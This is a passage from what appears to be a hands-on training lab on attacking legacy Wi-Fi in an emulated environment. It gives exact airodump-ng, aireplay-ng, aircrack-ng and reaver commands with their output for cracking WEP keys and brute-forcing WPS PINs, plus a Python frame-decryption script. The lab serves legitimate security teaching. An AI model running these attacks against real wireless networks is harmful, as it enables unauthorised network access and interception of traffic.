  • WPS PIN recovery: We used wash -i wlan0mon to see Event-WiFi running WPS 2.0 on channel 8 with its Lck column clear. Then, we spent one exchange on Pixie Dust with reaver -b F0:9F:C2:71:22:13 -c 8 -K, and it failed because this access point generates its nonces properly. Next, we ran the same tool without -K, and since the PIN was the best-known factory default, the tool recovered it in two seconds. The access point returned the WPA PSK along with the PIN, so we put the PSK in event.conf, took a lease on 192.168.3.0/24 and recovered a second flag at 192.168.3.1.

The attack on Home-Legacy did not test the strength of the WEP key. The key was computed from the traffic, so its length only decided how long the capture had to run. The attack on Event-WiFi did not test the strength of the WPA2 passphrase either, since we never attacked the passphrase at all and the access point gives it to anyone who holds the WPS PIN. That PIN is a far shorter credential than the passphrase, and it had been left at its factory value. Equipment often stays in use after the standard it shipped with is out of date. For example, a single controller that has been forgotten about can keep a whole site on the kind of setup we attacked in this room. If we come across a configuration like this during an assessment, the passphrase policy of the network will make no difference to these attacks.

What's Next

Attacking Weak and Misconfigured EAP (coming soon) looks at which enterprise authentication methods fail and which ones hold. In that room, we will read EAP-MD5 off the air and crack it with hashcat mode 4800. We will watch EAP-TLS refuse every technique used in the Attacking Enterprise Wi-Fi room. Then, we will steal the certificate authority's private key.

It is a good idea to run the collection stage against Home-Legacy a second time, starting the capture with no replay alongside it. While it runs, we can note the rate at which #Data climbs on its own. After that, we can start aireplay-ng and watch what the injection adds. Comparing the two rates helps us decide whether a network needs injection at all. We can make the same kind of decision about a WPS target, where we choose between a brute force and one guess at the default PIN.

Answer the questions below

  1. Click Complete to finish the room.
Back to all walkthroughs
Room Icon

Attacking Legacy Wi-Fi

Break WEP with a statistical key recovery attack and probe WPS for its PIN.

medium

150 min

1,800

User profile photo.
User profile photo.

To access material, start machines and answer questions login.

Wireless security standards have improved steadily over time, and each new standard replaced the last one as its weaknesses became known. However, equipment in the field stays in use after the standard that it shipped with has been replaced. A wireless print server bought in 2006 and never touched again is still doing its job perfectly well. The network around it is still configured the way the print server needed it to be. Building controllers, industrial sensors, medical equipment, point of sale terminals and the occasional forgotten access point in a ceiling void all age in the same way. This older equipment is the easiest thing to attack in the building. If we only know how to attack the current protocols, we will miss it during an assessment.

Two mechanisms in particular keep turning up on equipment of this age. The first is an encryption scheme that was weakened over time and then broken outright, and we can now recover its key by collecting enough traffic from the network and waiting a few seconds. The second is a convenience feature that was added on top of sound encryption, so that a user who does not want to type a long passphrase can press a button or enter a short number instead. However, this feature will hand that long passphrase to anyone who asks for it in the right way. The encryption scheme fails because of its mathematics, and the convenience feature fails because of its design, but in both cases we can get onto the network even when the passphrase is strong.

In this room, we will carry both attacks through to completion against live targets. First, we will collect traffic from a (Wired Equivalent Privacy) network until it yields enough initialisation vectors to recover the key statistically. If the network is too quiet to supply this traffic, we will generate it deliberately. Next, we will open the same capture offline, so that we can read the cipher's construction out of real frames for ourselves. After that, we will take the key a second time from a station on its own, without contacting the access point at all. Then, we will use the recovered key to associate with the network as an ordinary client.

Finally, we will identify a (Wi-Fi Protected Setup) network, look at how the PIN attack works and carry it out against the network. We will watch the fast offline route fail against an access point that generates its random numbers properly, and then watch the slower route succeed. It recovers a passphrase that we would not have been able to crack from a captured handshake.

Learning Objectives

  • Explain how WEP uses and why a 24-bit makes keystream reuse inevitable.
  • Collect initialisation vectors with airodump-ng and generate them on demand with aireplay-ng ARP (Address Resolution Protocol) request replay.
  • Recover a WEP key from collected initialisation vectors using the PTW attack in aircrack-ng.
  • Read an initialisation vector and an ICV (Integrity Check Value) out of a captured frame, and decrypt one by hand with RC4 and CRC32.
  • Recover the key from a station alone with the Caffe Latte attack, without contacting the access point at all.
  • Narrow a keyspace from what is already known and exhaust what remains with a short Python search.
  • Associate with a WEP network using a raw key in wpa_supplicant rather than a derived PSK.
  • Carry a WPS PIN attack through to completion with reaver and recognise when Pixie Dust does not apply.
  • Explain why both attacks make the strength of the WPA2 passphrase irrelevant.

Prerequisites

Machine Access

Start the lab by clicking the Start Machine button below. The machine takes a couple of minutes to boot and then appears in Split View in your browser. The expand button in the bottom-left corner opens the VM in full screen. No login is required, since the session opens directly onto the desktop as the user account. If you would rather work from your own machine, the same account is reachable over SSH with the credentials below. Every command in this room runs on that machine. The lab networks are emulated radios inside the machine itself, so no AttackBox is needed.

The tasks build on one another, so they are meant to be worked in order. The machine does not retain that state across a restart. Resuming the room on another day means starting the lab again and re-running the earlier tasks.

Set up your virtual environment

To successfully complete this room, you'll need to set up your virtual environment. This involves starting the Lab Machine, ensuring you're equipped with the necessary tools and access to tackle the challenges ahead.
Lab machine
Status:Off

Credentials for the lab machine are below:

Credentials

 

Username
 
user
 
Password
 
user
 
IP address
 
MACHINE_IP
 
Connection via
 
SSH
ssh user@MACHINE_IP
 

Confirming the Wireless Interfaces

Open a Terminal on the machine and confirm that the wireless interfaces are present:

Terminal
user@debian-thm:~$ sudo iw dev

The command should list several wlan interfaces on the machine, numbered from wlan0 upward. These are the radios that we will use to observe the networks in the lab and to attack them. Since most of the tools in this room require root privileges, our commands are prefixed with sudo. If sudo asks for a password, we can enter user.

The attacks in this room run from a card in monitor mode, so create the monitor interface before you begin:

Terminal
user@debian-thm:~$ sudo airmon-ng check kill
user@debian-thm:~$ sudo airmon-ng start wlan0

The above commands will stop NetworkManager and then put wlan0 into monitor mode as wlan0mon. NetworkManager manages every wireless radio on the machine. If we leave the service running, it will take back a managed radio such as wlan1 moments after wpa_supplicant associates it with a network. The association appears to succeed and wpa_supplicant reports no error, but iw dev wlan1 link then reads Not connected and every DHCPDISCOVER goes unanswered. We can avoid this by stopping NetworkManager before we begin, so we should not skip the airmon-ng check kill command. Since the command also stops any wpa_supplicant that is already running, we have to run it before we start one of our own.

Apart from the Taking the Key From the Client task, every capture and injection command in this room runs on wlan0mon. wlan1 stays in managed mode, and we will use it to associate with each network once we hold its key. We should keep each of these two jobs on its own radio for the whole room. The Taking the Key From the Client task attacks a station instead of an access point, and it sets up two further radios of its own. In that task, wlan4 runs the rogue access point and wlan5 deauthenticates, injects and captures, and neither radio is used anywhere else in the room.

Answer the questions below

Deploy the machine and read through the introduction, then continue to the next task when you are ready.

Encryption on a wireless link has to cope with frames that arrive out of order and with frames that never arrive at all. Each frame has to be decrypted on its own without depending on the frame before it, and a stream cipher is well suited to this kind of situation. Unlike a block cipher, which transforms data in fixed-size blocks, a stream cipher takes a key and produces a long pseudorandom sequence known as a keystream. The keystream is then combined with the plaintext one bit at a time using XOR. Since the receiver holds the same key, it can generate the identical keystream and apply XOR a second time, and the second XOR cancels the first one and gives back the original data. WEP uses the RC4 stream cipher for this. RC4 was fast and compact, and it was well regarded at the time the WEP standard was written.

With any stream cipher, a keystream must never be used twice. If two frames are encrypted with the same keystream and we capture both of them, we can XOR the two ciphertexts together. Since the keystream appears in both ciphertexts, it cancels itself out completely and leaves the two plaintexts combined with each other. The key is not part of this result at all, and at this point we still do not have it. However, structured data such as protocol headers can often be recovered from that combination alone, so the encryption is no longer protecting the data.

The Initialisation Vector and Why It Runs Out

Every device on the network shares one static key. If that key were the whole seed, every frame would be encrypted with the same keystream. To avoid this, prepends a per-frame value called an initialisation vector to the key before seeding RC4, which gives each frame a different keystream. The receiver needs the in order to rebuild the same seed. Since the vector cannot be derived from anything secret, WEP sends it in the clear in the frame header as a normal part of its design.

The flaw in the initialisation vector is its size, as it is only 24 bits long and allows a little over sixteen million distinct values. An access point carrying a few hundred frames per second works through that entire space in a matter of hours. Some devices choose each initialisation vector at random, and the chance of a repeat then grows with the square of the number of frames rather than linearly, so repeats turn up long before the whole space has been used up. Other devices count their initialisation vectors upward, and a repeat then has to wait for the counter to wrap or for the device to restart it. The network in our lab counts upward, and we will see this in the Inside a WEP Frame task when we read the counters straight out of a capture.

Either way, two frames are certain to share an initialisation vector on a network like this one, and when they do, they also share a keystream. We only need to keep capturing traffic until that happens.

A plot of the chance of a repeated initialisation vector against the number of frames captured, drawn for a device that chooses each vector at random. The curve crosses even odds at 4,822 frames and is close to certain by ten thousand, against a space that holds 16,777,216 values in total

From Reused Keystreams to a Recovered Key

On top of keystream reuse, RC4 does not mix its seed as thoroughly as a modern cipher would. In 2001, Fluhrer, Mantin and Shamir showed that for certain initialisation vector values, the first bytes of the keystream are correlated with the bytes of the secret key, and the attack built on this is known as the FMS attack. A single frame with one of these values reveals almost nothing, since the correlation is weak and any individual guess at a key byte is usually wrong. Once we have collected enough of these frames, though, the correct value of each key byte comes up as the most frequent answer, while the wrong guesses are scattered across many different values. Only a small share of the traffic carries one of these initialisation vectors, so collecting enough of them means capturing a very large number of frames.

In 2007, Pyshkin, Tews and Weinmann improved the attack considerably, and their version is known as the attack. FMS could only use frames that carried one of the specific weak initialisation vectors, and it had to solve for the key bytes one after another. PTW extracts information from essentially every captured frame, and it solves for the key bytes together. In practice, FMS needed several hundred thousand frames, so an attack with it could take several hours. PTW needs a few tens of thousands, and an attack with it can be finished while we are still capturing traffic.

Key Sizes and What They Do Not Buy

WEP is usually advertised as either 64-bit or 128-bit. Both of these numbers are misleading, because they count the 24-bit initialisation vector as though it were part of the secret. Without the initialisation vector, a 64-bit key is a 40-bit shared secret written as ten hexadecimal digits, and a 128-bit key is a 104-bit shared secret written as twenty-six hexadecimal digits. The 104-bit secret would take much longer to brute force than the 40-bit one.

However, neither FMS nor PTW is a brute-force attack. Both recover the key statistically from correlations in the traffic that we capture, so their effort depends on how many initialisation vectors we have collected. A longer key still costs us something, since we have to capture more frames. With FMS, a 128-bit key needs several times as many frames as a 64-bit key. With PTW, the extra frames might add only a few more minutes to the capture. This is different from , where the attack is a guess-and-check against a , and a longer and more unusual passphrase costs us more. Since both WEP attacks still succeed against either key size, WEP is described as broken, and choosing a longer key does not fix it.

Once we recover the key, we have access to everything the network has to offer. WEP uses one shared key and no per-session keys, so that single value decrypts every frame from every device. That value keeps working on traffic captured long after we recovered it. There is no forward secrecy either, so the key also decrypts any traffic that we captured before we recovered it. On top of this, WEP does nothing to separate the traffic of one client from the traffic of another.

We can also associate with the network as an ordinary station, and this places us inside whatever the wireless boundary was protecting. On networks that still run WEP, that boundary is often the only control between an outsider and the internal subnet. In many cases, that subnet is flat, and the services on it do not require authentication.

Answer the questions below

How many bits long is the WEP initialisation vector?

Which attack, named after its three authors and published in 2007, recovers a WEP key from far fewer initialisation vectors than the FMS attack?

In practice, breaking is almost entirely a matter of collecting initialisation vectors, since the key can be recovered from a large enough sample of them. Our target is Home-Legacy, which broadcasts from F0:9F:C2:71:22:11 on channel 3. The sweep in the Wi-Fi Fundamentals and Reconnaissance room listed it advertising WEP in both its ENC and CIPHER columns. It is the only network in the environment that shows WEP in both.

First, we can use airodump-ng to pin our monitor interface to channel 3, filter the capture to the BSSID of Home-Legacy and write everything to disk.

Lab note: Leave this capture running in its own terminal for the rest of the task. Open a second terminal for the commands that follow. aireplay-ng generates the traffic but records none of it, so the whole attack depends on airodump-ng collecting that traffic.

Terminal
user@debian-thm:~$ sudo airodump-ng -c 3 --bssid F0:9F:C2:71:22:11 -w wep wlan0mon

 CH  3 ][ Elapsed: 40 s ][ 2026-08-26 09:40

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

 F0:9F:C2:71:22:11  -28 100      391    13817  345   3   54   WEP  WEP         Home-Legacy

 BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes

 F0:9F:C2:71:22:11  64:32:A8:56:32:56  -29    0 - 1       0    13774

While the capture runs, we should watch the #Data column, since it counts the encrypted data frames and each of these frames carries exactly one initialisation vector. The Beacons column counts the management frames that the access point sends whether or not anyone is using the network, and beacon frames do not carry an . If the Beacons count is climbing steadily while #Data stays the same, we are not collecting anything of value. The #/s column beside #Data shows the rate at which the data frames arrive. This capture is collecting 345 frames per second, and since the crack in the next task starts from 35,000 initialisation vectors, we will have enough in under two minutes.

The station at 64:32:A8:56:32:56 is an associated client that is actively using the network, and its traffic accounts for almost the entire data count. As a WEP network with a busy client, Home-Legacy is the easy case. All we need to do is wait, and the tens of thousands of initialisation vectors that PTW needs will arrive without us injecting anything.

Two routes to filling a capture with initialisation vectors. One waits for an already busy client to generate traffic, the other uses fake authentication followed by ARP request replay so every replayed frame draws a reply carrying a fresh vector. Both end at the tens of thousands of vectors the crack requires

Generating Traffic When the Network Is Quiet

Most of the WEP networks that we come across will not have a busy client like the one on Home-Legacy. On a real assessment, we are far more likely to find a WEP network serving a printer or a controller that sends a handful of frames an hour. At that rate our collection would take months, so we have to generate the traffic ourselves.

To build a new encrypted frame, we would need keystream, and we do not have any yet. The fragmentation and chopchop attacks can recover enough keystream from a captured frame to forge new frames, without ever learning the key. However, the simpler route is to take an encrypted frame that already exists and send it a second time. The access point has no way to recognise a replayed frame as a duplicate, so it decrypts it, acts on it and responds. Each response is a new frame carrying a new initialisation vector for us to collect.

The frame that we replay is an request, the short query that a host sends to learn which MAC address owns an IP address on the local network. Even when it is encrypted, an ARP request can be identified by its fixed and distinctive length, so our tools can pick one out of a capture without being able to read it. More importantly, an ARP request is a question that reliably provokes an answer, so every copy that we replay generates fresh traffic.

Before we can inject anything, the access point has to recognise our radio as an associated station, since it discards frames from an unknown source address. A fake authentication establishes that association without any knowledge of the key, because WEP's open system authentication does not verify that the station holds one.

We can perform a fake authentication against Home-Legacy using aireplay-ng.

Terminal
user@debian-thm:~$ sudo aireplay-ng -1 0 -a F0:9F:C2:71:22:11 -h 02:00:00:00:00:00 wlan0mon
09:37:28  Waiting for beacon frame (BSSID: F0:9F:C2:71:22:11) on channel 3

09:37:28  Sending Authentication Request (Open System)
09:37:28  Authentication successful
09:37:28  Sending Association Request
09:37:28  Association successful :-) (AID: 1)

The -1 flag selects the fake authentication attack, and the 0 after it sets the time in seconds between re-associations. With a value of zero, aireplay-ng only associates with the access point once. The -1 0 form is easy to mix up with the -0 deauthentication attack that we used in the Attacking Open and WPA2-PSK Networks room. In that attack, the number after the flag is a count of deauthentication bursts.

The -h value is the MAC address of our monitor interface. On the last line of the output, the association identifier of 1 shows that the access point has accepted our interface as a station.

Next, we can start the ARP request replay by running aireplay-ng with the -3 flag.

Terminal
user@debian-thm:~$ sudo aireplay-ng -3 -b F0:9F:C2:71:22:11 -h 02:00:00:00:00:00 wlan0mon
09:37:28  Waiting for beacon frame (BSSID: F0:9F:C2:71:22:11) on channel 3

Saving ARP requests in replay_arp-0826-093728.cap
You should also start airodump-ng to capture replies.
Read 155 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)
Read 502 packets (got 50 ARP requests and 0 ACKs), sent 49 packets...(499 pps)
Read 1216 packets (got 303 ARP requests and 0 ACKs), sent 300 packets...(501 pps)
Read 2489 packets (got 760 ARP requests and 0 ACKs), sent 750 packets...(499 pps)

The first line of counters shows no ARP requests and nothing sent, because aireplay-ng has to see a real ARP request on the network before it has anything to replay. Once one arrives, the ARP request and packet counts climb together and the send rate settles at around 500 packets per second. Each of these packets draws a reply that carries a fresh initialisation vector.

The reminder to start airodump-ng is there because aireplay-ng generates the traffic but records none of it, so our capture from earlier has to stay running in its own terminal throughout. If we switch back to that terminal, we can see that the #Data count is now climbing much faster than the network would manage by itself.

Answer the questions below

Which airodump-ng column counts the encrypted data frames that carry initialisation vectors?

Which aireplay-ng attack number performs the ARP request replay?

Recovering the key from the capture of initialisation vectors that we left running in the previous task takes very little effort. When aircrack-ng opens a capture file, it reads every packet and counts the initialisation vectors that the file contains. If the traffic turns out to be WEP, the PTW attack runs automatically, so we do not have to select an attack by hand.

We can point aircrack-ng at our capture file and restrict it to our target's BSSID with -b, so it does not stop to ask which network we meant.

Terminal
user@debian-thm:~$ sudo aircrack-ng -b F0:9F:C2:71:22:11 wep-01.cap
Reading packets, please wait...
Opening wep-01.cap
Read 57983 packets.

1 potential targets

Attack will be restarted every 5000 captured ivs.
Got 35732 out of 35000 IVs
Starting PTW attack with 35732 ivs.

                                 Aircrack-ng 1.7 rev d3127e74

                     [00:00:04] Tested 37008 keys (got 24828 IVs)

   KB    depth   byte(vote)
    0    0/  1   11(50944) 8C(45312) E5(43264) E6(43264) 77(43008) 1E(42752)
    1    0/  2   BB(46336) 20(44032) 59(41728) AA(41728) EC(41728) 45(41472)
    2    8/ 17   F7(41472) 24(41216) DF(41216) F0(41216) 6E(40960) B0(40960)
    3    0/  1   CD(46080) CF(42496) 87(42240) 94(41984) 54(41728) 62(41728)
    4    0/  1   55(48128) 22(44032) 91(44032) 79(43776) 24(42496) 14(42240)

                         KEY FOUND! [ <key> ]
        Decrypted correctly: 100%

The timer in the above output only shows a few seconds, even though the key on this network would not have been in any wordlist. When we cracked WPA2 in the Attacking Open and WPA2-PSK Networks room, aircrack-ng derived a candidate key from every word in a list. Each of those candidates was checked against the captured handshake, so the work was proportional to the size of the list. A passphrase that was not in the list was never found at all. As we saw in the How WEP Works and Why It Failed task, the PTW attack does not use a . The KB table in the above output shows the work that it does.

The table and the timer are redrawn in place while the search runs. If our capture holds enough initialisation vectors to find the key straight away, the table can disappear from the screen before we see it. In that case, the terminal only shows the result, with no timer left on screen.

If we miss the table, we can run the same command again and watch the first second of the output.

There is one row in the table for each byte of the key. The byte(vote) column lists the candidates for that byte, ranked by how much statistical support the captured initialisation vectors give each one. In most cases, the top-ranked candidate is the correct byte. How many candidates fit on a row depends on the width of the terminal, with six on a narrow terminal and sixteen on a wide one.

The depth column gives the position of the candidate being tried for that byte, counted from zero, out of the number of candidates in play. For example, 0/ 1 means that aircrack-ng used the highest-voted byte. On key byte two, 8/ 17 means that the search had gone eight places down the ranking for that byte. The row is printed from that point onwards, so the eight candidates with more votes are not shown on screen.

The key counter on the timer line does not show this depth. It is a running total of the complete keys that aircrack-ng has tested, so it climbs as the search goes deeper on any byte. On this network, the count runs into the tens of thousands. Testing that many keys only takes a few seconds, against the hours that a passphrase search would take. Most of the time for this attack went on the capture that we ran in the previous task.

A comparison of two offline attacks. The WPA2 attack needs a wordlist containing the answer and fails against an unusual secret, while the PTW attack against WEP scales with how much traffic has been collected and needs no wordlist at all, recovering the key in seconds from the traffic already collected

The line reading Decrypted correctly: 100% is the verification step. Once aircrack-ng has a candidate key, it uses that key to decrypt frames from our capture and checks whether the results carry valid checksums. A wrong key produces garbage that fails those checks straight away, so a clean result confirms that the statistically recovered key is the one actually in use on the network.

In the KEY FOUND! line, the key is shown as five bytes separated by colons, and the colons are only there to make it easier to read. Five bytes is forty bits, so this is a 40-bit secret, the configuration that is usually advertised as 64-bit WEP. Most tools want the key as a plain ten-character hexadecimal string with no separators, so we should write it down without the colons, ready for the next task.

If our capture had been short of initialisation vectors, aircrack-ng would have asked for more traffic and offered to retry the attack as more of them arrived, so we can comfortably start it while our capture is still in progress. As we saw in the How WEP Works and Why It Failed task, this attack is limited by how many initialisation vectors we have collected, and the computing power of our machine makes little difference to it. Against WEP, we only need to keep the capture running for long enough.

Answer the questions below

What is the WEP key for Home-Legacy?

What does aircrack-ng report as the decryption success rate when it confirms a recovered WEP key?

As we saw in the How Works and Why It Failed task, the is sent in the clear. It takes up the three bytes in front of the encrypted data, and the receiver reads them before it decrypts anything. Without holding the key, we can read those bytes in the same way.

We can print the vector straight out of the file we collected earlier using tshark, the command-line form of Wireshark. It dissects the capture without decrypting any of the frames in it.

Terminal
user@debian-thm:~$ tshark -r wep-01.cap -Y "wlan.fc.protected == 1" -T fields -e frame.number -e wlan.ta -e wlan.wep.iv -e wlan.wep.key -c 8
1	64:32:a8:56:32:56	0x64498e	0
2	f0:9f:c2:71:22:11	0xf8b243	0
3	64:32:a8:56:32:56	0x64498f	0
4	f0:9f:c2:71:22:11	0xf8b244	0
5	64:32:a8:56:32:56	0x644990	0
6	f0:9f:c2:71:22:11	0xf8b245	0

In the above command, the -Y option is a display filter that keeps only the frames whose Protected bit is set, and -T fields asks for named fields instead of a packet summary. Since -c 8 stops after eight frames have been read, at most eight lines come back, or fewer when beacons or probe responses take up some of those first eight records. The columns are the frame number, the transmitter, the initialisation vector and the key index.

From the above output, we can see two transmitters, the access point at f0:9f:c2:71:22:11 and the station at 64:32:a8:56:32:56, and their vectors interleave in the listing. The station issues 64498e, 64498f and 644990, while the access point issues f8b243, f8b244 and f8b245, so each device is running a counter of its own. As described in the How WEP Works and Why It Failed task, a counter goes up by one for every frame that its owner transmits, starting from wherever it happened to be when the device booted. On these devices, a vector repeats when the counter wraps after going through all 16,777,216 possible vectors, or when the device restarts.

The key index reads 0 on every row, and it is the same field that wep_tx_keyidx sets in a client configuration. A station may hold four keys, and the index names the key that encrypted the frame.

A listing taken from our own capture will not match the one above, since its vectors record where each counter had reached when we started listening. Its counters will skip values wherever the card missed a frame, because a capture only records the frames that the card happened to receive.

To decrypt a frame, the receiver puts the three bytes of the vector in front of the shared key and seeds RC4 with the result. A 40-bit key is five bytes long, so the seed comes to eight bytes, three of which arrived in the clear with the frame. Joining the vector to the key is all there is to the construction. It is small enough for us to write out ourselves and check against real frames.

The anatomy of one captured WEP data frame read left to right: a 24-byte 802.11 header at offsets 0 to 23, the three-byte initialisation vector 64 49 8e at offsets 24 to 26, a key ID byte of 0 at offset 27, then the encrypted payload from offset 28 and the four-byte ICV, with a rule showing that only those last two fields are encrypted and that the ICV therefore sits inside the encryption. Below the frame, the same three public bytes join five masked secret bytes to form the eight-byte RC4 seed, 24 of its 64 bits having travelled in the clear, and the keystream it produces returns a plaintext beginning with the LLC/SNAP header aa aa 03 00 00 00, verified across 24,829 frames.

Decrypting a Frame by Hand

We need two pieces of code, and neither of them is large. RC4 is fourteen lines, and it is made up of a key scheduling algorithm and a generator. The key scheduling algorithm permutes a 256-byte array according to the seed, and the generator then walks that array to produce one keystream byte for each byte of data.

The second piece, the integrity check, is a single comparison. WEP's ICV is a CRC32 computed over the plaintext, and it is appended to that plaintext and then encrypted along with it. A receiver decrypts the body, splits the last four bytes off and compares them against a CRC32 that it computes itself.

First, we can create a directory to hold the scripts this task uses.

Terminal
user@debian-thm:~$ mkdir -p /tmp/wepint

Then, we can write the following script to /tmp/wepint/wep-decrypt.py. It uses nothing outside the standard library, and it walks the capture file by hand instead of through a parsing library, so that every offset stays visible. For example, we can see the three vector bytes being lifted from offset 24 of each frame.

#!/usr/bin/env python3
"""Seed RC4 with IV||key, decrypt a real WEP frame, and check the ICV with CRC32."""
import struct, sys, zlib

cap = sys.argv[1]
keyhex = sys.argv[2]
count = int(sys.argv[3]) if len(sys.argv) > 3 else 3
key = bytes.fromhex(keyhex)

def rc4(seed, data):
    S = list(range(256))
    j = 0
    for i in range(256):                       # KSA: the whole secret enters here
        j = (j + S[i] + seed[i % len(seed)]) & 0xFF
        S[i], S[j] = S[j], S[i]
    out = bytearray()
    i = j = 0
    for b in data:                             # PRGA: one keystream byte per plaintext byte
        i = (i + 1) & 0xFF
        j = (j + S[i]) & 0xFF
        S[i], S[j] = S[j], S[i]
        out.append(b ^ S[(S[i] + S[j]) & 0xFF])
    return bytes(out)

def frames(path):
    f = open(path, "rb")
    magic, vmaj, vmin, tz, sig, snap, link = struct.unpack("<IHHiIII", f.read(24))
    assert link == 105, "linktype %d, expected 105 (IEEE 802.11)" % link
    while True:
        ph = f.read(16)
        if len(ph) < 16:
            return
        ts, tus, cl, ol = struct.unpack("<IIII", ph)
        yield f.read(cl)

print("WEP key supplied : %s  (%d bytes = %d-bit secret, advertised as %d-bit WEP)"
      % (keyhex, len(key), len(key) * 8, len(key) * 8 + 24))
print()

ok = bad = 0
shown = 0
for d in frames(cap):
    if len(d) < 36:
        continue
    fc = struct.unpack("<H", d[0:2])[0]
    if ((fc >> 2) & 3) != 2 or not ((fc >> 14) & 1):
        continue
    iv = d[24:27]
    body = d[28:]
    seed = iv + key                            # <-- the entire construction
    plain = rc4(seed, body)
    payload, icv = plain[:-4], plain[-4:]
    calc = zlib.crc32(payload) & 0xFFFFFFFF
    got = struct.unpack("<I", icv)[0]
    if calc == got:
        ok += 1
    else:
        bad += 1

    if shown < count:
        shown += 1
        print("=== frame %d ===" % shown)
        print("  IV (clear, from the frame)   %s" % iv.hex())
        print("  key (the shared secret)      %s" % key.hex())
        print("  RC4 seed = IV || key         %s   <-- %d bits, of which %d are public"
              % (seed.hex(), len(seed) * 8, 24))
        print("  ciphertext, first 16 bytes   %s" % body[:16].hex())
        print("  plaintext,  first 16 bytes   %s" % payload[:16].hex())
        if payload[:6] == b"\xaa\xaa\x03\x00\x00\x00":
            et = struct.unpack(">H", payload[6:8])[0]
            print("                               ^ LLC/SNAP aa aa 03 00 00 00, ethertype 0x%04x" % et)
            if et == 0x0800 and len(payload) > 28:
                ihl = (payload[8] & 0xF) * 4
                src = ".".join(str(b) for b in payload[8 + 12:8 + 16])
                dst = ".".join(str(b) for b in payload[8 + 16:8 + 20])
                print("                               IPv4 %s -> %s  proto %d  len %d"
                      % (src, dst, payload[8 + 9], struct.unpack(">H", payload[8 + 2:8 + 4])[0]))
        print("  ICV from frame (little-end)  %s  = 0x%08x" % (icv.hex(), got))
        print("  CRC32 of decrypted payload   %s  = 0x%08x"
              % (struct.pack("<I", calc).hex(), calc))
        print("  ICV check                    %s" % ("PASS" if calc == got else "FAIL"))
        print()
        if shown == 1 and calc == got and payload[:6] == b"\xaa\xaa\x03\x00\x00\x00":
            # Keystream recovery: no key needed, only a guessed plaintext. Only claim it
            # where the key was right and the frame really does start with LLC/SNAP,
            # or the sentence below describes something that did not happen.
            ks_from_key = bytes(a ^ b for a, b in zip(body, payload))
            known = b"\xaa\xaa\x03\x00\x00\x00"
            ks_from_guess = bytes(a ^ b for a, b in zip(body[:6], known))
            print("  keystream RC4 actually produced (first 6) %s" % ks_from_key[:6].hex())
            print("  keystream recovered by guessing the SNAP  %s" % ks_from_guess.hex())
            print("  identical: %s  -- that recovery used no key at all, only a guess at the"
                  % (ks_from_key[:6] == ks_from_guess))
            print("  first six plaintext bytes, which every LLC/SNAP frame shares.")
            print()

print("--- every protected data frame in the capture ---")
print("ICV verified   : %d" % ok)
print("ICV failed     : %d" % bad)
print("verification rate: %.2f%%" % (100.0 * ok / (ok + bad) if ok + bad else 0))

After that, we can run it against the capture collected earlier, with the ten hexadecimal characters recovered in the Recovering the WEP Key task in place of <key>. Both scripts in this task read the key with bytes.fromhex, so we have to enter it without the colons that aircrack-ng printed. If we enter the colon-separated form, the script stops with an error. The final argument is how many frames to print in full.

Terminal
user@debian-thm:~$ python3 /tmp/wepint/wep-decrypt.py wep-01.cap <key> 1
WEP key supplied : <key>  (5 bytes = 40-bit secret, advertised as 64-bit WEP)

=== frame 1 ===
  IV (clear, from the frame)   64498e
  key (the shared secret)      <key>
  RC4 seed = IV || key         64498e<key>   <-- 64 bits, of which 24 are public
  ciphertext, first 16 bytes   5b4116e06690deccc73b97e2f3aed474
  plaintext,  first 16 bytes   aaaa0300000008004500040479054000
                               ^ LLC/SNAP aa aa 03 00 00 00, ethertype 0x0800
                               IPv4 <client-ip> -> 192.168.1.1  proto 1  len 1028
  ICV from frame (little-end)  2bc05c40  = 0x405cc02b
  CRC32 of decrypted payload   2bc05c40  = 0x405cc02b
  ICV check                    PASS

  keystream RC4 actually produced (first 6) f1eb15e06690
  keystream recovered by guessing the SNAP  f1eb15e06690
  identical: True  -- that recovery used no key at all, only a guess at the
  first six plaintext bytes, which every LLC/SNAP frame shares.

--- every protected data frame in the capture ---
ICV verified   : 24829
ICV failed     : 0
verification rate: 100.00%

From the first sixteen bytes of plaintext, we can see that the seed was built correctly. They open with the six bytes aa aa 03 00 00 00, an LLC/SNAP header, and these are followed by the two-byte ethertype 0x0800 for IPv4. The byte after that, 45, is the start of a well-formed IPv4 header. The script reads the addresses, protocol number and total length out of that header for us.

This plaintext only comes back when the vector goes in front of the key. If we build the seed with the key first and the vector after it, the output looks just as random as the ciphertext that went in. The same happens if we seed RC4 with the key by itself.

The last four bytes of the decrypted body are the ICV, stored little-endian, and the CRC32 computed over everything in front of them matches it. A single frame could match by accident, at odds of roughly one in four billion, so the script goes on to decrypt every protected data frame in the file and reports how many of them passed. Since each frame has its own vector and is decrypted under a different keystream, each frame that passes is a separate check on the key. The whole run takes around eighteen seconds.

Your own counts will be different, since they describe however much traffic you collected. If the first frame in your file carries ARP and not IPv4, the script prints no address line for it, and you can raise the final argument to show further frames.

Checking the Work Against a Wrong Key

If the ICV check passed everything, it would pass a wrong key as well as the correct one, so one successful run does not prove much on its own. Next, we can run the same script over the same frames, with only one character of the key changed. Put the recovered key in place of <wrong-key>, with its last hexadecimal character swapped for any other digit.

Terminal
user@debian-thm:~$ python3 /tmp/wepint/wep-decrypt.py wep-01.cap <wrong-key> 1

With the wrong key, every frame fails the ICV check, and the rate at the end reads 0.00% where the correct key gave 100.00%. Between them, the two runs confirm that the key the statistical attack recovered is the one in use on this network. Outside WEP, the same check works on anything that takes a key and gives a result we can verify. We can run it once with a key that should succeed and once with a key that should fail.

We can also compare the ICV from frame line between the two runs. The failing run reads a different ICV out of the same frame, since the ICV is computed over the plaintext and then encrypted along with it. If the checksum travelled in the clear beside the ciphertext, both runs would read the same four bytes. With a wrong key, the stored checksum and the computed checksum are both corrupted at once, so both sides of the comparison move.

Recovering Keystream From a Guess

Encryption in WEP is XOR with a keystream, so if we know any two of the ciphertext, the plaintext and the keystream, we can work out the third. The receiver works out the plaintext from the ciphertext and the keystream it generates from the key, but nothing stops us from working out the keystream from the ciphertext and a plaintext that we can guess.

Without the key, we do not have the plaintext of the frame, but we only need the first part of it. Every data frame that carries a network-layer payload begins with the LLC/SNAP header we saw above, aa aa 03 00 00 00, so a guess at those six bytes is always right. If we combine them with the first six bytes of ciphertext, we get six bytes of keystream for that frame.

Near the foot of the first run, the script prints this keystream twice, once recovered from the guess with no key involved and once produced by RC4 from the key. The line printed below the two of them reads identical: True.

